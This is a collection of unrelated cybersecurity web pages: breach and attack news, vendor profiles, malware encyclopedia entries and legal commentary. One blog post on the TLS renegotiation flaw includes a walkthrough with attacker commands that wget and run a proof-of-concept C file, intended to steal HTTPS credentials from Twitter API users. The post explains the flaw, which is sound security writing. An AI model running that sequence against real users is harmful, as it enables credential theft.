Among the “malwares” encouraged are novel phishing kits, botnets and mobile phone-based malware, malware creation tools, cross-platform malware infection techniques, and new malware self-defense mechanisms, such as anti-virus exploitation techniques.
At first, I didn’t know what to make of this conference, which was initially brought to my attention by a clueful source in the botnet underground. My hoaxmeter went positively bonkers after I pinged both of the e-mail addresses listed on the site and each e-mail bounced. | https://krebsonsecurity.com/tag/orchidseven/ |
Amazon Echo and Google Home among devices included in warning from Symantec. Voice-activated home assistants such as Amazon Echo or Google Home have become a popular sight in homes, but do they also pose a security risk?In September news broke out that Amazon had sold more than 15 million devices, while Google Home had sold 5 million.
Click here to view original webpage at www.itproportal.com | https://thecybersecurityplace.com/smart-home-devices-could-pose-major-security-risks/ |
BlogsCyber Attacks on 6 Banks10.02.12
Millions of bank customers were unable to access their bank accounts and bank online as reported by the New York Times. The bank customers “of Bank of America, JPMorgan Chase, Citigroup, U.S. Bank, Wells Fargo and PNC, …could not get access to their accounts or pay bills online.” The report went on to say: The banks suffered denial of service attacks, in which hackers barrage a Web site with traffic until it is overwhelmed and shuts down. Such attacks, while a nuisance, are not technically sophisticated and do not affect a company’s computer network — or, in this case, funds or customer bank accounts. But they are enough to upset customers. Although experts believed these attacks were not sophisticated, rather by a “number of so-called hacktivists,” these acts show how easy it is to have successful cyber attack. So the US government should do more to protect US businesses. ProfessionalPeter S. VogelThe publications contained in this site do not constitute legal advice. Legal advice can only be given with knowledge of the client's specific facts. By putting these publications on our website we do not intend to create a lawyer-client relationship with the user. Materials may not reflect the most current legal developments, verdicts or settlements. This information should in no way be taken as an indication of future results. NewsroomBlogsAlertsNewsPublicationsResourcesMarketing ContactConnie ThompsonMarketing Communications [email protected] © 2017 Gardere. All rights reserved. Site MapDisclaimerPrivacy PolicyContact UsAll rights reserved. Attorney advertising. Unless otherwise specified, Gardere attorneys are not certified by the Texas Board of Legal Specialization. Search Tips:You may use the wildcard symbol (*) as a root expander. A search for "anti*" will find not only "anti", but also "anti-trust", "antique", etc. Entering two terms together in a search field will behave as though an "OR" is being used. For example, entering "Antique Motorcars" as a Client Name search will find results with either word in the Client Name. OperatorsAND and OR may be used in a search. Note: they must be capitalized, e.g., "Project AND Finance." The + and - sign operators may be used. The + sign indicates that the term immediately following is required, while the - sign indicates to omit results that contain that term. E.g., "+real -estate" says results must have "real" but not "estate". To perform an exact phrase search, surround your search phrase with quotation marks. For example, "Project Finance". Searches are not case sensitive.back to top | http://www.gardere.com/Newsroom/Blogs/124123/Cyber-Attacks-on-6-Banks |
• At the root of nearly every major data breach is compromised insider access to sensitive, valuable data. In almost every case, breaches go undetected for weeks and months before being discovered. For decades the security industry devoted most of its attention to preventing intrusions at the network perimeter – instead of on the data itself, who has access to it, and how easily that access can open the floodgates to data exfiltration and loss.
• With ten years experience, Varonis protects organization’s most critical information, Varonis solutions monitor, analyze, control and alert on employee access to and use of human-generated unstructured data (emails, files, presentations, spreadsheets, etc.).
• Varonis is the only vendor with the sophisticated ability to establish baselines of normal activity for every employee and account holder, make recommendations on data and access, and alert on anomalous behavior, thanks to a decade of collecting and analyzing metadata from companies on access and use of their unstructured data -- which is the data companies have the most of and know the least about. Varonis solutions enable enterprises to leverage this insight into reduced risk, improved operational efficiency, and increased productivity.
Brief Overview
In 2005, Yaki Faitelson left the security of his job to try and realize a vision to help enterprises monitor, control and protect an important type of data that was growing rapidly – unstructured data. While working for NetApp and implementing a project for a large energy firm, it was discovered that someone had deleted many critical files, including images taken of the ocean floor at great expense. Attempting to determine who deleted the files, and to recover them, became a monumental undertaking. There was simply no record of who deleted the data, and after many hours it was determined that many administrators and employees had the potential to access and even delete those files, undetected, though few needed that access to do their jobs. Yaki realized enterprises needed a much better way to track, visualize, analyze and protect their data.
An organization’s most critical information is often found in files and emails that are familiar to many – employee-generated presentations, spreadsheets, documents, media files. They contain everything from intellectual property to financial models to business plans to ocean-floor images. With the security industry focused on protecting network perimeters and no existing solutions that adequately addressed this kind of data, Yaki saw the necessity and opportunity for next-generation data management and protection automation. Yaki and his co-founder, Ohad Korkus, conceived and architected the Metadata Framework technology that now serves as the foundation for the Varonis platform. They have several patents for permissions visualization, simulation and data analysis.
Ten years later, the explosion of cyberattacks and data breaches have brought thousands of organizations to Varonis, which has a worldwide installation base and leads a market that crosses security, user behavior analytics, data governance, and collaboration. In Q4 2015, Varonis revenue grew 30% year-over-year, and reached $127 million for the full year | https://cybersecurity-excellence-awards.com/candidates/varonis-systems-inc/ |
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Last year, F-Secure and the University of Helsinki launched an online course series called Cyber Security Base with F-Secure. It’s a free, massive open online course designed to give people the knowledge and skills they need to begin a career in cyber security.
Last year’s course series was a huge success. It attracted interest from over 50,000 people from different countries, and nearly 5000 people took part in the course assignments. And because it was so popular, F-Secure and the University of Helsinki decided to bring it back for another year.
Because this is the course series’ second year, we know people have questions. So here’s a quick FAQ. If you have a question that’s not covered here, feel free to submit it as a comment and we’ll do our best to get you an answer.
The course does not require knowledge of one specific language. The materials use Java for examples, but students are free to use whatever language they want to complete assignments.
Generally, Java and Python are both easy for beginners to learn and fairly popular. On the other hand, C/C++ can teach you more about how computers actually work, which can be useful for certain types of programming.
So if you’re learning from scratch, you should consider what kind of work you want to do after the course ends. You can check out this handy infographic for some insight into what different languages are used for by professionals.
I want to learn more about cyber security, but I’m not looking to become a cyber security specialist. Will parts of the course still be useful for me?
Yes. Thanks to digitalization, cyber security is an issue that cuts across different industries and professions, so the knowledge and skills people learn in the course can be applied in a wide variety of careers.
What kind of assignments does the course include?
Readings, essays, quizzes, and puzzles are used in different modules. Some modules include projects and programming assignments for students to work on. There will also be a competition where students find and fix vulnerabilities within an allotted amount of time.
Anyone interested in the course can sign up to the mailing list to receive updates. The first module, “Introduction to Cyber Security”, will open at the end of October. And there will be a live kick-off event at the University of Helsinki on October 31st, which will be live-streamed and feature several presentations and a panel discussion.
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Justice Glen McDougall of the Supreme Court of Nova Scotia also declined a Crown request to suspend his declaration that the law is invalid for 12 months to allow the legislature time to amend it.
In his decision, McDougall says the other option of striking down the "offending portions" of the law isn't practical either.
"The remaining parts of the act cannot survive on their own," he writes. "They are inextricably connected to the offending provisions, in particular the definition of cyberbullying. ... The act must be struck down in its entirety."
Lawyer David Fraser challenged the Cyber-safety Act on constitutional grounds as part of a case involving client Robert Snell, who was placed under a cyber safety protection order sought by his former business partner last December. McDougall's ruling also voids that order.
Fraser argued the law was too broad and an "unreasonable and unjustified" infringement of freedom of expression rights.
The Crown said the Supreme Court of Canada has recognized the freedom of expression is not an "absolute right" and some limits must be placed even on fundamental rights when social values conflict.
But McDougall says the law fails to balance an individual's right to free speech against society's interests in giving victims of cyberbullying greater access to justice.
McDougall says the law is too broadly written and as a result infringes on a person's right to liberty, too.
"I have already found that the act, and in particular the definition of cyberbullying, is overbroad. By casting the net too broadly, and failing to require proof of intent or harm, or to delineate any defences, the act limits the right to liberty in a way that has no connection with the mischief it seeks to address."
The law was passed in May 2013 in response to public outrage over the death of Parsons.
Her family alleges the teen was sexually assaulted in November 2011 and bullied for months after a digital photo of the assault was passed around her school. Parsons died after attempting suicide in April 2013.
Late in 2018, Maclean's magazine put five Conservative leaders on its cover and billed them as "the resistance" — an apparent play on the name of the movement that had emerged to oppose Donald Trump in the United States. Source
This Ontario election is about many things. Indigenous issues aren't among them, observers say
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Over the last three weeks, Ontario election campaign leaders and candidates have addressed a range of issues — including affordability, housing and health care — and offered promises leading up to the vote next month. But there has yet to be substantive conversation about Indigenous people and issues, say several current and former political leaders and analysts who spoke with CBC News. Source 'Great replacement' conspiracy unified white supremacists long before Buffalo, N.Y., shooting | http://www.24news.ca/the-news/canada-news/185577-rehtaeh-parsons-inspired-cyberbullying-law-struck-down-in-ns |
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DNSChanger. KM is a Trojan, which although seemingly inoffensive, can actually carry out attacks and intrusions.
It reduces the security level of the computer: it changes the security settings of Internet Explorer, decreasing its security level; it opens one or more ports to allow remote access to the computer and takes action that compromises user confidentiality.
It uses stealth techniques to avoid being detected by the user:
It injects itself in running processes.
It deletes the original file from which it was run once it is installed on the computer.
DNSChanger. KM uses the following propagation or distribution methods:
Exploiting vulnerabilities with the intervention of the user: exploiting vulnerabilities in file formats or applications. To exploit them successfully it needs the intervention of the user: opening files, viewing malicious web pages, reading emails, etc.
Via Internet, exploiting remote vulnerabilities: attacking random IP addresses, in which it tries to insert a copy of itself by exploiting one or more vulnerabilities. | https://www.pandasecurity.com/homeusers/security-info/about-malware/encyclopedia/overview.aspx?idvirus=116596 |
Big Data might be one of the more common buzzwords doing the rounds, but it's nothing more than hype -- at least for now -- according to Dell’s vice president of Enterprise Solutions, Asia Pacific and Japan.
“Few companies are actually implementing any Big Data solutions ... I think today it’s more hyped than reality,” Philip Davis told analysts at a briefing in Sydney this week.
Davis said people are still defining what Big Data is and vendors are adding to the confusion by repackaging systems they’ve had in place for years as ‘Big Data’ “because everybody wants to look like they’re on the cutting edge [and] everybody wants to look like they’re innovative”.
However, he said the general definition of Big Data refers to large data sets which change quickly and need to be analysed and actioned in a short space of time. While it is a concern for some organisations on how to do this, Davis said the IT spend is still largely being allocated to traditional business intelligence solutions.
“If you look at the amount of press that’s been written about it, versus the actual spend on it, it’s still relatively limited,” Davis said.
Rodney Gedda, senior analyst at Telsyte, said Davis had a point and although Big Data is on the radar of some organisations, most companies don’t have a need for Big Data.
“To give you an example, if you’re an energy company – a utility – you might need to take a data point every 10 minutes from, say, all your subscriber’s smart meters. If there’s a million meters then you’re collecting 6 million data points every hour,” Gedda said.
“That’s why organisations need Big Data, because they need to have Big Data tools to manage massive amounts of data points that come into their organisation to make business sense out of it and traditional tools might not be capable of doing that. But as you can probably imagine, the use cases aren’t really commoditised yet.
“They’re not that popular to the extent that you’re going to see every company out there rushing towards a Big Data solution because there’s no need – they’re just not collecting as much data to warrant the investment.”
However, Davis believes Big Data could become more mainstream in two or more years.
“Just a year and-a-half ago there was so much hype around Cloud but low actual spend, we’ve certainly seen the spend on Cloud services accelerate, again, particularly in that more small medium business space. We’ve seen a lot more investment around private Cloud, and that’s really accelerated and I think Big Data is going to follow that same trend,” he said.
Davis said Cloud has now reached the point where it is at the peak of the hype curve and he is witnessing large enterprises moving aggressively into private Cloud instead of public Cloud. However, he said the move into Cloud is being held back by a fear of the unknown in regards to legislation around Cloud.
“I was in Korea about four weeks ago and what surprised me in Korea is apparently the lower house there has passed a bill – it’s not law yet, but a bill – that all government institutions must keep their data in their private Cloud behind their own firewall,” he said.
“Imagine if you’re a progressive educational institution aggressively adopting private Cloud and all of a sudden [that happens].
“In the last six months we’ve seen a lot of fear of going into the Cloud. They don’t know what legislation might get enacted three, six or nine months down the track.”
Gedda warns that not all data is the same and shouldn’t be treated as the same. For example, even in highly regulated industries such as government, data might include citizen data with personal details and it can also include a public facing website where there are a lot less restrictions on where it is hosted.
“I think that it’s really dependent on the type of industry and the type of application,” he said. | https://www.cio.com.au/article/422053/big_data_just_hype_according_dell_vice_president/ |
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Goldun. GQ is a Trojan, which although seemingly inoffensive, can actually carry out attacks and intrusions.
It captures certain information entered or saved by the user, with the corresponding threat to privacy: passwords saved by certain Windows services.
Goldun. GQ does not spread automatically using its own means. It needs an attacking user's intervention in order to reach the affected computer. The means of transmission used include, among others, floppy disks, CD-ROMs, email messages with attached files, Internet downloads, FTP, IRC channels, peer-to-peer (P2P) file sharing networks, etc. | https://www.pandasecurity.com/homeusers/security-info/about-malware/encyclopedia/overview.aspx?idvirus=108577 |
Think of an organization that uses information technology, but would not need to provide for information security on those systems. Describe that environment and explain why information security is not a factor for that organization.
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Security industry veteran Greg Hoglund now heads the startup, which launched an endpoint threat detection and response system.
Greg Hoglund is no stranger to the world of security startups. Hoglund was previously a co-founder at Cenzic (which Trustwave acquired) and at HBGary (which ManTech Cyber Solutions acquired), and is now the CEO of a startup called Outlier, which launched a new-product offering on Oct. 7.
At Outlier, Hoglund has developed an endpoint security technology that does not require a software agent to be installed on user machines. The Outlier platform leverages a combination of on-premises and software-as-a-service (SaaS) capabilities to help detect and analyze potential security threats.
"We're not intercepting any traffic; we're in the same spot that you would find a network appliance, but instead of facing outward, we're facing inward," Hoglund told eWEEK. "So instead of sniffing packets, we're making connections to the endpoints over existing Microsoft Windows APIs."
Outlier is focused on Microsoft Windows workstations that are often the target of attacks. The connection to the Outlier platform is made over server port 445, which is typically associated with Microsoft Directory Services.
Outlier has an on-premises component that it calls the Data Vault, which does all the customer data processing. The Outlier Data Vault is software that is installed on a Windows Server. The other element of the Outlier platform is the Cloud SaaS component, which is used for management and provisioning. Additionally, the SaaS component is leveraged to check suspicious files.
"Statistical information is calculated, and things like hashes are uploaded to the SaaS component," Hoglund said. "But the connection over port 445 is from the on-premises component."
Hoglund emphasized that the endpoint provides a wealth of information that can be analyzed by Outlier to identify any potential hacking activity that might be occurring on a system.
"On the endpoint, you have all the forensic evidence available that could show the installation of a particular threat and all the user behavior patterns," Hoglund said. "What we're looking for is a pattern that shows there may have been an intrusion on a given host."
The Outlier system has a scoring profile that it assigns to events to help identify possible malware and hacking attacks. Hoglund commented that the collection of data on an endpoint is essentially a big data source. The Outlier platform then automates the best practices associated with security incident response.
The analysis includes looking at all of the loaded modules and auto-run functions on a given endpoint. The Outlier system also looks for evidence of memory that has been injected with unauthorized code. By comparing what is actually running on a system to a white list of safe and known applications and processes, outliers can be identified.
The Outlier platform does have some limitations. For one, it's not a reverse engineering technology that can figure out which specific exploit is being used in an attack. Rather, what Outlier does is it can identify what was downloaded by a system and what that item is doing. Currently, Outlier is structured as a detection solution and does not have its own remediation capabilities.
Outlier is focused on the detection problem and is not trying to build a full incident response system, Hoglund said. "We're a detection-only solution," he said. "Once we're integrated with other devices in the protection ecosystem that a customer has, those other devices would be able to take actions." | http://www.eweek.com/security/outlier-launches-endpoint-security-technology.html |
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and the global market for mobile security is expected to reach $14.4 billion by 2017, market research firm Global Industry Analysts said in an Aug. 24 report. | http://www.eweek.com/c/a/Security/Global-Mobile-Security-Market-Worth-144-Billion-in-2017-Report-212602 |
The company says it has taken measures to prevent expansion of the event, and has no assessment yet of its effect.
Tower Semiconductor Ltd. (Nasdaq: TSEM; TASE: TSEM) has been dealing with a cyber attack that hit the company's systems. The extent of the attack and its effect on the company's activity are not yet known.
Tower Semiconductor said in a statement released today, "The company’s IT security systems identified a security incident on some of its systems as a result of a cyber event. As a preventive measure, the company halted certain of its servers and proactively held operations in some of its manufacturing facilities, and has done so in a gradual, organized manner.
"Tower has notified relevant authorities and is working closely with law enforcement organizations and with a leading team of worldwide experts, coordinated with its insurance providers, in order to recover the impacted systems as soon as possible. The company has implemented specific measures to prevent the expansion of this event. At this point there is no assessment as to the actual effect on the company."
Tower Semiconductor (which trades as TowerJazz), based in Migdal Ha'emek and headed by Russell Ellwanger, is a semiconductor company that produces chips for other companies. It has fabs in Migdal Ha'emek and at other sites around the world. In the first half of 2020, its revenue totaled $610 million, 1% less than in the first half of 2019. Net profit was $36.1 million, and EBITDA was $154 million, 3.6% more than in the first half of 2019. | https://en.globes.co.il/en/article-cyber-attack-hits-tower-semiconductor-1001341678 |
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If you believe everything you read on Facebook, you might think it's true that Emma Watson has had her cell phone hacked, and that naked photos of the Harry Potter actress have been leaked onto the internet.
After all, I keep having readers report messages to me like these that they have seen spreading across the social network.
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Whatever the explanation, it's disturbing to continue to see spams and scams spreading so effectively across the world's most popular social network.
It's not as though this particular campaign is particularly sophisticated, or using any techniques which we haven't seen spammers and scammers use many times in the past.
If you were unwise enough (or a rabid enough fan of Hermione Granger) to click on the link above, in the belief that you were about to see some risque shots of Emma Watson, you would be presented with a message like this:
Not very satisfying is it? But that, of course, is the trick.
The people behind the campaign know that someone with a perhaps unhealthy interest in Emma Watson's naked body won't stop at the first hurdle...
...they will throw themselves past it with gusto... giving permission to a third-party application to post further messages and photos to their own profile...
The point of these scams is usually to generate income for the bad guys - driving traffic to online surveys that allow them to earn commission, signing people up to expensive mobile phone subscription services, or tricking users into clicking on links to malware-poisoned websites.
In short, you're encouraging fraudsters and risking your computer's health by allowing scams like this to spread.
Chances are that you may have friends on Facebook who keep falling for scams like this, littering their friends' newsfeeds with links to dodgy webpages and money-making surveys without realising their account has been effectively compromised.
Facebook's security team urges users to report such messages, and have systems in place to take action against individual scam campaigns should enough people complain about them, but shouldn't they be more proactive than this?
The sheer number of warnings and attacks that are still seen spreading on the social network suggest that Facebook has not got this problem licked yet. More needs to be done to educate users about the dangers, and to proactive protect them against such scams.
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What's even more scary (in the sense that it shows just how gullible and/or naive people can be) is that Emma Watson herself has made it very clear that she would not ever star in such a thing as a sex tape. I don't even follow her (I have no twitter account nor a facebook account) but I have seen it on the BBC and other websites (in the case of BBC it was their news portion), that at times have had news (or whatever you wish to call it) regarding this very subject.
You'd think that if they were so into her they would have seen that (or better yet seen it because they were following her on twitter). But of course the other part of the problem is social engineering (and by extension scamming, phishing, …) is so easy and so many fall for [it] without even thinking that maybe – just maybe – it isn't all what it seems to be. Hint: it almost never is all it seems to be. Wake up, people. Please. Every single compromised system is a risk (or at least a potential problem…. mail relay attempts anyone?) to other systems and networks.
User interfaces and poor procedures lead to pandemonium in Hawaii, hackers are attempting to trick victims into opening cryptocurrency-related email attachments, and yet more pox-ridden apps are found in Android's Google Play store.
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When you read the bill, you'll see that if attacker activities appear to be intended to "intimidate or coerce the civilian population; to influence the policy of a government by intimidation or coercion; or to affect the conduct of a government by mass destruction \[of computers and/or networks in this case\]," law enforcement can deem the attacker a terrorist. According to the bill, the term "terrorism" can mean any act that's dangerous to human life "or potentially destructive of critical infrastructure or key resources; and is a violation of the criminal laws of the United States or of any State or other subdivision of the United States."
According to various news reports, lawmakers made last-minute additions to the Homeland Security Act of 2002—provisions from the Cyber Security Enhancement Act (CSEA)—that give law enforcement agencies broad powers. For example, law officers could perform wiretaps and other eavesdropping without court orders. Although Congress previously didn't pass CSEA, according to reports, legislators inserted CSEA provisions into the current Homeland Security Act in a roundabout attempt to have those provisions become law.
The Homeland Security Act also makes sweeping changes to privacy rights both on and off the Internet. Although I agree that computer attackers who intentionally and severely jeopardize infrastructures should be dealt with severely, I don't agree that our right to privacy should be stripped away in the name of the War on Terrorism—not at this stage anyway.
According to a Reuters news story, "buried deep in the 500-page bill are several provisions that could have lasting effects on computer security and Internet privacy" although the bill doesn't contain "authorization for a comprehensive data-mining effort proposed by the Pentagon that would break down long-established barriers against domestic surveillance."
Many believe that implementing a program such as TIA would effectively destroy the Fourth Amendment right to privacy and gives the military (whose legal system lies outside the public criminal and civil courts) the right to snoop on everyone about everything. Anything you do that's recorded—on paper or digitally (including your individual and business Internet activities)—can be subject to scrutiny.
Retired US Navy Admiral John Poindexter, former national security adviser, heads the IAO, which would use TIA to process large amounts of information from different sources to predict and prevent terrorist attacks. According to "The Washington Post," Poindexter was fired from his Reagan-era post and subsequently convicted of lying to Congress, defrauding the government, and destroying evidence related to the Iran-Contra scandal," although the convictions were overturned on appeal.
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Most, if not all, major web applications have implementation level protections against CSRF, such as random nonces in web forms that must be submitted along with any request. Those protection measures are effective against this new SSL man in the middle attack. Therefore, this vulnerability has minimal security impact for most websites and Internet users.
UPDATE: Tom J Cross from IBM ISS made a follow-up blog post referring to this attack.
Now the victim's packet is embedded in the POST data. The attacker can therefore have access to the actual packet sent by an auxiliary channel - e.g. here by reading the posted message on the forum that we assume operates on the same website.
One can see here that this is somewhat broader than a CSRF: an attacker can now have access to HTTP headers, such as the Authorization header.
A real world attack scenario: the twitter API
One can update its twitter status by using their RESTful API, e.g. with curl:
$ curl -u "user:pw" -d "status=New status" https://twitter.com/statuses/update.xml
Note that this is a POST request. Applying the previously stated idea, it is now possible to access the first 140 characters of an HTTP packet sent by a victim.
Attacker:
attacker.example.com$ wget http://perso.telecom-paristech.fr/~kurmus/ssl.c #based on the PoC published on full disclosure attacker.example.com$ gcc -lssl ssl.c -o ssl attacker.example.com$ ./ssl 8080 `echo -n "[email protected]:evilpw" |base64`
Although the attacker cannot modify the contents of the data sent back by the server after the malicious status update, he can take advantage of his relaying position and drop that packet. Considering twitter will also append an authentication cookie in the reply, this is a must for the attacker.
All in all, a man in the middle is able to steal the credentials of a user authenticating himself through HTTPS to a trusted website, and CSRF protections do not apply here. Luckily, a fix should be out soon.
Thanks RichieB for your comment, I agree this is not vey clear in my post.
Do you agree with the following: if you were to try to exploit the twitter API through a CSRF, you would not be able to perform this attack.
The reason is related to the one you mentioned: this is a single request that has to contain the user's credentials. If the CSRF POST would include the attacker's credentials (I'm not sure whether this would actually work, but I'd guess so, with some javascript), the attacker has no way to access the victim's credentials and post them. Nor his twitter.com cookies.
Therefore, it is possible to perform attacks with this vulnerability that you could not with some CSRF.
I still don't see why this is anything like a CSRF at all.
The attacker doesn't need to convince the service provider to trust the user's request. The attacker doesn't try to impersonate the user at all!
The attacker only needs to convince the service provider to trust the *attacker's request*. He can use his own login credentials. He can provide whatever CSRF-protection cookies the service requires. All he has to do is construct *some* valid request that ends with the user's original HTTP request as *some* valid payload that the service provider will eventually make available to him.
In other words, the service provider only sees the attacker logging in normally, following a normal sequence of web forms, and posting a message with a funny-looking body. No CSRF.
Thanks for the comment, this is my point of view as well. Token based CSRF won't be of any use - in the specific way of exploiting the TLS bug here - to prevent the attacker from posting... authenticated as himself.
The comparison with CSRF though is based on the initial "X-ignore" trick, which led to basically the same result that you would get from a CSRF, making CSRF protections more relevant in that case. | http://www.securegoose.org/2009/11/tls-renegotiation-vulnerability-cve.html?showComment=1258119445081 |
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People with ties to the Russian Government were able to exploit anti-virus software from the Russian-owned Kaspersky Labs and breach the home computer of a National Security Agency contractor. The breach had occurred in 2015 but was not uncovered until the spring of 2017. The contractor had taken classified material home with him and put it on his home computer, which was running Kaspersky’s security software. The Trump administration has recently ordered all U.S. federal executive agencies to remove Kaspersky software from government computers.
In his testimony from Captial Hill, Equifax ex-CEO Richard Smith said that an individual responsible for applying the patch for the exploited vulnerability had failed to do so; this allowed the hackers to access the personal information of 143 million Americans.
The Incumbent Premier, William Lai, of Taiwan requested a national review of information security policies in the aftermath of a breach that saw Far Eastern International Bank lose nearly $60 million.
Hyatt Hotels suffered a breach of payment card data from March 8th until it was discovered on July 2nd. This breach was widespread, hitting a number of Hyatt establishments in countries such as Japan, India, and Saudi Arabia.
Breaches are up 18.5% to on a year-to-date basis, with 1,012 reported so far in 2017. While the number of total breaches has seen an increase thus far in 2017, the total number of records compromised is down. This can largely be attributed to the mega-breach at Yahoo in September 2016 that exposed the records of half a billion people.
Information Security and Healthcare
An Arkansas-based hospital was affected by ransomware that shut down access to patient data and rendered imaging files, such as X-Rays, inoperable. The impact on the medical devices, such as X-Ray machines, is particularly troubling. The possibility of medical devices, surgical devices or life-support devices especially, being affected by hackers is concerning; a failure of these devices during critical moments could have life-threatening impacts.
Medical data for approximately 150,000 patients was exposed by a misconfigured Amazon repository. This incident serves as another reminder of the need to protect cloud-based patient data from being inadvertently accessible to the public.
This year, New York became the first state to set minimum cybersecurity standards by which all banks and other financial services institutions must abide. The “Cybersecurity Requirements for Financial Services Companies,” or 23 NYCRR Part 500, requires financial institutions to put in place a cybersecurity program, maintain written policies, report all cybersecurity incidents, and ensure a Chief Information Security Officer is in place.
The National Association of Insurance Commissioners adopted the Insurance Data Security Model Law which created rules for insurers, agents and other licensed entities covering data security, investigation, and notification of breaches.
Information Security News From Around The World
The former head of the FBI’s Cyber Division, James Trainor, expects losses from cybercrime to increase around the world. Trainor said that previous estimations were vastly underestimating the current climate, and projected losses to be somewhere around the $6 trillion mark.
Britain unveiled its Information Safety Strategy which it hopes will help the island nation become the safest place in the world to be online. The Safety Strategy will crack down on malicious activity such as cyberbullying, support digital startups to ensure that new apps and products are safe at production, and help make the internet a safer place for minors.
Other Information Security News
4 out of 10 lawyers plan to increase their cybersecurity spending in the coming months. On average, the law firms who are planning to increase their cybersecurity budgets plan to increase spending by about 13%.
That is all for the Information Security News Roundup for the month of October. Want to get more information security news? Check out FRSecure’s Twitter or LinkedIn feeds for updates on what’s going on in the world of information security. | https://frsecure.com/blog/information-security-news-roundup-october-2017/ |
Not long ago, a critical flaw in Linux SUDO was discovered and is being tracked as CVE-2021-3156.
Given the nickname "Baron Samedit," it's a flaw in a Unix program that allows system admins to provide root level privileges to any users listed in the "sudoers" file.
More disturbing, however, is the fact that just over a week from the time this piece was written, researchers stumbled across the fact that the Sudo privilege escalation also impacts the latest version of macOS, Big Sur 11.2.
Linux developers have already moved to patch the issue in various Linux distros, including Debian, Fedora, and Ubuntu, which are three of the most popular. However, there is currently no fix yet for macOS, and no ETA for when one will be released. Apple has proven to be quite responsive in the face of issues like these, however, so the smart money says it won't be long.
Security researcher Matthew Hickey put together a simple proof of concept that shows how the exploit works which is standard practice in situations like these, but it does mean that the clock is ticking. Even if the exploit wasn't being actively used by hackers before, with a step-by-step blueprint in hand, you can bet that it's just a matter of time.
Matthew Hickey points out that it's not possible for Mac users to take matters into their own hands and attempt to upgrade SUDO manually because Apple's System Integrity Protection system prevents this. IBM notes that there is not yet a patch for the AIX Unix distribution at this time, which is one of the few builds, other than macOS that are not yet protected against this flaw. So if you use either of those, be aware that you are facing a period of vulnerability and watch for the fix, which should be released soon.
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The Banque Cantonale de Geneve has refused to pay the ransom demanded by a group of hackers that goes under the name of Rex Mundi, and they have made good on their word and have published the whole batch of customer emails they managed to steal from the bank’s website.
As confirmed by the bank on January 7, the attack was aimed at intercepting information on a website used as an interface and communication tool with customers and people interested in the bank’s services.
The stolen information included “certain information transmitted by internet users, but in no way critical and of no great use or even obsolete.” No critical data was compromised, they said, only limited non-financial information which does not endanger account security.
“The bank notes that this incident occurred outside the bank’s highly secure perimeters,” they stated, adding that all affected users have been notified of the incident. They have also been warned about potential phishing emails or calls that they might receive in the wake of this leak.
The Rex Mundi hackers, who have a well-documented track record of targeting businesses, stealing their information, and asking for money in order not to publish it, demanded 10,000 euros (around $12,000) for not releasing the stolen data.
The leaked batch apparently contains some 30,000 emails customers sent and received when making enquiries with the bank. The emails include some personal information about the customers (names, phone numbers, addresses, etc.).
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KU Libraries will host a presentation by Anna Lauren Hoffmann, assistant professor with the Information School at the University of Washington, titled “Data Violence: Dignity and Vulnerability Beyond Algorithmic Discrimination.” The event, co-sponsored by the College of Liberal Arts and Sciences and the Office of Diversity and Equity, will be held at 4:30 p.m. on Thursday, March 15, at Watson Library, third floor West.
In the presentation, Hoffmann will look at the connections between big data, algorithms and automation, and the unjust distributions of rights, opportunities and material wealth. Hoffmann will explore the need to reckon with the symbolic and cultural violences extended and amplified by data-intensive technologies.
“We are excited to host Anna Lauren Hoffmann, as she is a pioneer in the area of data violence,” said Kevin L. Smith, dean of libraries. “This presentation will highlight the issues of fairness and bias in algorithmic systems, an important and ever-present subject for all students, researchers and scholars.”
Hoffmann’s research is situated at the intersections of data, technology, culture and ethics, and in particular, the ways in which the design and use of information technology can promote or hinder the pursuit of important human values like respect and justice. Her work has appeared in various scholarly journals like New Media & Society, The Library Quarterly, First Monday and JASIST, as well as popular outlets including The Guardian, Slate, and the Los Angeles Review of Books.
The event will begin with a cocktail reception at 4:30 p.m., followed by the presentation beginning at 5 p.m. This event is free and open to the public; those who plan to attend should RSVP to Leah Hallstrom by March 12 at [email protected]. | http://idrh.ku.edu/data-violence-dignity-and-vulnerability-beyond-algorithmic-discrimination-march-15 |
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economics too. Have you read the economic fallacies that Frederic Bastiat wrote in 1850? It would be a good starting point. He also wrote about law. You have not lived in a lawful society... only a legal one. Can you explain the difference?
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In 2010, the Federal Chief Information Officer tapped NIST to play a role in accelerating the adoption of cloud computing in the federal government. Since then, NIST has held meetings, started working groups and developed the U.S. Government Cloud Computing Technology Roadmap and other related guidance.
The 2011 NIST Cloud Computing Reference Architecture provided a template and vocabulary for federal cloud adopters to follow for a consistent implementation of cloud-based applications across the government.
This new addition, the NIST Cloud Computing Security Reference Architecture, contributes a comprehensive security model that supplements the NIST Cloud Computing Reference Architecture.
“The document’s objective is to demystify the process of selecting cloud-based services that best address an agency’s requirements in the most secure and efficient manner,” said Michaela Iorga, NIST Cloud Computing Security Working Group chair.
Using this model and an associated set of security components derived from the capabilities identified by the Cloud Security Alliance in its Trusted Cloud Initiative Reference Architecture, the NIST Cloud Computing Security Reference Architecture introduces a cloud-adapted Risk Management Framework for applications and/or services migrated to the cloud.
The Risk Management Framework helps federal organizations create a computer security plan based on an organization’s risk tolerance and how critical and sensitive the information is in its computer system. A suite of NIST standards and guidelines supports response strategies. For example, a security plan may call for increased monitoring of selected components of a system that are at a higher risk of a breach.
“The Risk Management Framework has to be adapted when applying the risk-based approach to applications or systems migrated to the cloud because the implementation, assessment, authorization and monitoring of selected security controls may fall under the responsibility of different cloud ‘actors;’ for example, consumer, service provider or broker,” Iorga said.
The NIST Cloud Computing Security Reference Architecture provides a case study that walks readers through steps an agency follows using the cloud-adapted Risk Management Framework while deploying a typical application to the cloud—migrating existing email, calendar and document-sharing systems as a unified, cloud-based messaging system.
The NIST Cloud Computing Public Security Working Group wrote the NIST Cloud Computing Security Reference Architecture to meet requirements set out in one of the priority action plans identified in the U.S. Government Cloud Computing Technology Roadmap.
Deadline for comments is July 12. Use the template for comments and email to Michaela Iorga with the subject line “Comments SP 500-299.” | http://www.isssource.com/cloud-security-draft-document/ |
PALO ALTO, CA--(Marketwire - January 22, 2008) - It's one small step for Voltage Security Inc., and one giant leap for the encryption market. In a breakthrough development, Voltage has launched Voltage SecureFile™ -- the first security software that protects information by encrypting any file format, wherever it goes and however it is transported. Powered by Voltage Identity-Based Encryption™ (Voltage IBE™), Voltage SecureFile is the easiest to use, fastest to deploy, simplest to administer encryption product available today.
